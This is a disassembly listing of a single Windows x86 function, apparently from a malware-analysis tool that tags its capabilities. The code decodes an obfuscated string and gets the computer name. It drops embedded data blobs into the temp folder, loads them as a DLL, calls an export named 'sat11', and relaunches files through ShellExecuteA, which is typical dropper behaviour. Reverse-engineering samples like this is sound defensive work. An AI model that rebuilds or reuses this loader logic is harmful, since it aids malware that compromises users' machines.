Function at 0x401360
Capabilities:
Create process on windows
Get common file path
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x398
mov eax, dword [0x46c128]
mov dword [ebp - 0x10], eax
push edi
mov ax, word [0x406118]
mov word [ebp - 0x380], ax
lea ecx, [ebp - 0x380]
mov dword [ebp - 0x250], ecx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x250], edx
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov byte [ebp - 0x371], 0
mov byte [ebp - 5], 0
mov byte [ebp - 0x256], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x378], 0
mov byte [ebp - 0x229], 0
mov dword [ebp - 4], 0
mov byte [ebp - 0x118], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x117]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x370], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x36f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x228], 0
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x227]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x24c], 0
xor eax, eax
mov dword [ebp - 0x24b], eax
mov dword [ebp - 0x247], eax
mov dword [ebp - 0x243], eax
mov dword [ebp - 0x23f], eax
mov dword [ebp - 0x23b], eax
mov dword [ebp - 0x237], eax
mov dword [ebp - 0x233], eax
mov word [ebp - 0x22f], ax
mov byte [ebp - 0x22d], al
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x254], 0x7f
mov byte [ebp - 0x379], 0
mov byte [ebp - 0x255], 0
mov byte [ebp - 0x257], 0
push 0x104
lea ecx, [ebp - 0x118]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x118]
push edx
call fcn.004010e0
add esp, 4
lea eax, [ebp - 0x370]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [ebp - 0x250]
movsx edx, byte [ecx]
cmp edx, 0x5f
jne 0x401561
mov eax, dword [str.dwoknqdq_dwd]
mov dword [ebp - 0x390], eax
mov ecx, dword [0x406120]
mov dword [ebp - 0x38c], ecx
mov edx, dword [0x406124]
mov dword [ebp - 0x388], edx
mov al, byte [0x406128]
mov byte [ebp - 0x384], al
mov dword [ebp - 0x394], 0
jmp 0x40150e
mov ecx, dword [ebp - 0x394]
add ecx, 1
mov dword [ebp - 0x394], ecx
lea edx, [ebp - 0x390]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 0x394], eax
jge 0x401543
mov eax, dword [ebp - 0x394]
movsx ecx, byte [ebp + eax - 0x390]
add ecx, 1
mov edx, dword [ebp - 0x394]
mov byte [ebp + edx - 0x390], cl
jmp 0x4014ff
push 1
push 0
lea eax, [ebp - 0x370]
push eax
lea ecx, [ebp - 0x390]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x40159c
mov edx, dword [ebp - 0x250]
movsx eax, byte [edx]
cmp eax, 0x2e
jne 0x40157b
mov byte [ebp - 0x255], 1
jmp 0x401a9c
mov ecx, dword [ebp - 0x250]
movsx edx, byte [ecx]
cmp edx, 0x24
jne 0x40159c
mov byte [ebp - 0x257], 1
mov byte [ebp - 0x255], 1
jmp 0x401a9c
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp + eax - 0x118]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x118]
sub edx, eax
cmp edx, 1
jle 0x4015d9
mov ecx, dword [ebp - 0xc]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x4015d9
mov eax, dword [ebp - 0xc]
sub eax, 1
mov dword [ebp - 0xc], eax
jmp 0x4015b3
mov ecx, dword [ebp - 0xc]
movsx edx, byte [ecx]
cmp edx, 0x5c
jne 0x4015ef
mov eax, dword [ebp - 0xc]
movsx ecx, byte [eax + 1]
test ecx, ecx
jne 0x4015f6
xor eax, eax
jmp 0x401cac
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x264], edx
mov eax, dword [ebp - 0x264]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x40162e
mov edx, dword [ebp - 0x264]
lea eax, [ebp - 0x118]
cmp edx, eax
jbe 0x40162e
mov ecx, dword [ebp - 0x264]
sub ecx, 1
mov dword [ebp - 0x264], ecx
jmp 0x4015ff
mov edx, dword [ebp - 0x264]
lea eax, [ebp - 0x118]
cmp edx, eax
ja 0x401645
xor eax, eax
jmp 0x401cac
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x25c], ecx
mov edx, dword [ebp - 0x264]
movsx eax, byte [edx]
cmp eax, 0x3a
je 0x4016b4
mov ecx, dword [ebp - 0x264]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x40168e
mov eax, dword [ebp - 0x264]
lea ecx, [ebp - 0x118]
cmp eax, ecx
jbe 0x40168e
mov edx, dword [ebp - 0x264]
sub edx, 1
mov dword [ebp - 0x264], edx
jmp 0x40165f
mov eax, dword [ebp - 0x264]
movsx ecx, byte [eax]
cmp ecx, 0x5c
je 0x4016a3
xor eax, eax
jmp 0x401cac
mov edx, dword [ebp - 0x264]
add edx, 1
mov dword [ebp - 0x264], edx
jmp 0x4016c3
mov eax, dword [ebp - 0x264]
sub eax, 1
mov dword [ebp - 0x264], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x228]
push eax
movsx eax, byte [ebp - 0x228]
cdq
mov ecx, 5
idiv ecx
add edx, 6
push edx
lea edx, [ebp - 0x24c]
push edx
call fcn.00401140
add esp, 0xc
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x118]
sub eax, ecx
add eax, 1
push eax
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x24c]
push ecx
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x40612c
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x228]
push eax
call fcn.00401e90
add esp, 4
test eax, eax
je 0x4017b8
push 1
lea ecx, [ebp - 0x370]
push ecx
mov edx, dword [ebp - 0x250]
push edx
lea eax, [ebp - 0x228]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 0x379], 1
mov ecx, dword [ebp - 0x250]
mov byte [ecx], 0x7a
mov edx, dword [ebp - 0x25c]
sub edx, dword [ebp - 0x264]
add edx, 2
push edx
mov eax, dword [ebp - 0x264]
push eax
lea ecx, [ebp - 0x370]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea edx, [ebp - 0x370]
push edx
movsx eax, byte [ebp - 0x370]
cdq
mov ecx, 5
idiv ecx
add edx, 6
push edx
lea edx, [ebp - 0x24c]
push edx
call fcn.00401140
add esp, 0xc
push 0x105
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.00402010
add esp, 0xc
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x118]
sub ecx, edx
add ecx, 1
push ecx
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea edx, [ebp - 0x24c]
push edx
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x228]
push eax
call fcn.00401e90
add esp, 4
test eax, eax
je 0x401886
mov byte [ebp - 0x379], 1
mov ecx, dword [ebp - 0x250]
mov byte [ecx], 0x7a
push 0x1a
call fcn.00401270
add esp, 4
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jne 0x4018a4
jmp 0x401caa
mov byte [ebp - 0x256], 0
mov dl, byte [ebp - 0x256]
mov byte [ebp - 5], dl
mov al, byte [ebp - 5]
mov byte [ebp - 0x371], al
movzx ecx, byte [ebp - 0x379]
test ecx, ecx
jne 0x4018d6
mov edx, dword [ebp - 0x250]
movsx eax, byte [edx]
cmp eax, 0x7a
jne 0x4018e5
movzx ecx, byte [ebp - 0x229]
test ecx, ecx
je 0x401a8e
call fcn.00401cc0
mov byte [ebp - 0x371], al
movsx edx, byte [ebp - 0x371]
test edx, edx
je 0x401a7f
movsx eax, byte [ebp - 0x371]
test eax, eax
je 0x40190e
mov byte [ebp - 5], 0x7a
lea ecx, [ebp - 0x228]
push ecx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x406130
lea edx, [ebp - 0x228]
push edx
call fcn.00401f20
add esp, 8
lea eax, [ebp - 0x118]
push eax
push 8
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [ebp + eax - 0x228]
push edx
call fcn.00401140
add esp, 0xc
push 0x406134
lea eax, [ebp - 0x228]
push eax
call fcn.00401f20
add esp, 8
push 0x406138
lea ecx, [ebp - 0x228]
push ecx
call fcn.00401f20
add esp, 8
movsx edx, byte [ebp - 5]
cmp edx, 0x7a
jne 0x401a7d
movsx eax, byte [ebp - 0x371]
cmp eax, 0x31
jl 0x4019c6
movsx ecx, byte [ebp - 0x371]
cmp ecx, 0x38
jg 0x4019c6
mov dl, byte [ebp - 5]
push edx
lea eax, [ebp - 0x228]
push eax
push 0xc000
push 0x408030
call section..text
add esp, 0x10
jmp 0x4019fb
movsx ecx, byte [ebp - 0x371]
cmp ecx, 0x61
jl 0x4019fb
movsx edx, byte [ebp - 0x371]
cmp edx, 0x64
jg 0x4019fb
mov al, byte [ebp - 5]
push eax
lea ecx, [ebp - 0x228]
push ecx
push 0x8000
push 0x414038
call section..text
add esp, 0x10
lea edx, [ebp - 0x228]
push edx
call fcn.00401e90
add esp, 4
test eax, eax
je 0x401a7d
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0
je 0x401a7d
push 0x1c
call fcn.00401270
add esp, 4
mov dword [ebp - 0x378], eax
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.sat11
mov ecx, dword [ebp - 0x398]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x46c3a0], eax
movsx edx, byte [ebp - 0x371]
push edx
call dword [0x46c3a0]
mov byte [ebp - 0x256], al
mov eax, dword [ebp - 0x398]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x401a8c
mov ecx, dword [ebp - 0x378]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401a9c
mov edx, dword [ebp - 0x250]
mov al, byte [edx]
mov byte [ebp - 0x256], al
movsx ecx, byte [ebp - 0x256]
test ecx, ecx
jne 0x401ab2
movsx edx, byte [ebp - 0x371]
test edx, edx
jne 0x401abd
movzx eax, byte [ebp - 0x229]
test eax, eax
je 0x401ad6
movzx ecx, byte [ebp - 0x229]
test ecx, ecx
je 0x401c76
cmp dword [ebp - 4], 0x78
jle 0x401c76
mov dword [ebp - 4], 0
mov byte [ebp - 0x256], 0x7a
lea edx, [ebp - 0x228]
push edx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x406144
lea eax, [ebp - 0x228]
push eax
call fcn.00401f20
add esp, 8
mov dword [ebp - 0x254], 0x7f
lea ecx, [ebp - 0x254]
push ecx
lea edx, [ebp - 0x370]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x370]
push eax
push 0xb
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [ebp + eax - 0x228]
push edx
call fcn.00401140
add esp, 0xc
push 0x406148
lea eax, [ebp - 0x228]
push eax
call fcn.00401f20
add esp, 8
push 0x40614c
lea ecx, [ebp - 0x228]
push ecx
call fcn.00401f20
add esp, 8
lea edx, [ebp - 0x228]
push edx
call fcn.00401e90
add esp, 4
test eax, eax
je 0x401b94
movzx eax, byte [ebp - 0x257]
test eax, eax
je 0x401bb4
mov cl, byte [ebp - 0x256]
push ecx
lea edx, [ebp - 0x228]
push edx
push 0x50000
push 0x41c040
call section..text
add esp, 0x10
lea eax, [ebp - 0x370]
mov dword [ebp - 0x264], eax
mov ecx, dword [ebp - 0x264]
mov byte [ecx], 0x22
mov edx, dword [ebp - 0x264]
add edx, 1
mov dword [ebp - 0x264], edx
movzx eax, byte [ebp - 0x257]
test eax, eax
je 0x401bfb
mov ecx, dword [ebp - 0x264]
mov byte [ecx], 0x24
mov edx, dword [ebp - 0x264]
add edx, 1
mov dword [ebp - 0x264], edx
lea eax, [ebp - 0x118]
push eax
mov ecx, dword [ebp - 0x264]
push ecx
call fcn.00401f10
add esp, 8
movzx edx, byte [ebp - 0x229]
test edx, edx
jne 0x401c46
push 0x406150
lea eax, [ebp - 0x370]
push eax
call fcn.00401f20
add esp, 8
mov ecx, dword [ebp - 0x250]
push ecx
lea edx, [ebp - 0x370]
push edx
call fcn.00401f20
add esp, 8
push 0x406154
lea eax, [ebp - 0x370]
push eax
call fcn.00401f20
add esp, 8
push 1
push 0
lea ecx, [ebp - 0x370]
push ecx
lea edx, [ebp - 0x228]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
movzx eax, byte [ebp - 0x255]
test eax, eax
jne 0x401caa
cmp dword [ebp - 0x11c], 0
je 0x401caa
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov byte [ebp - 0x229], 1
jmp 0x4018a4
xor eax, eax
mov ecx, dword [ebp - 0x10]
call fcn.00401f01
pop edi
mov esp, ebp
pop ebp
ret 0x10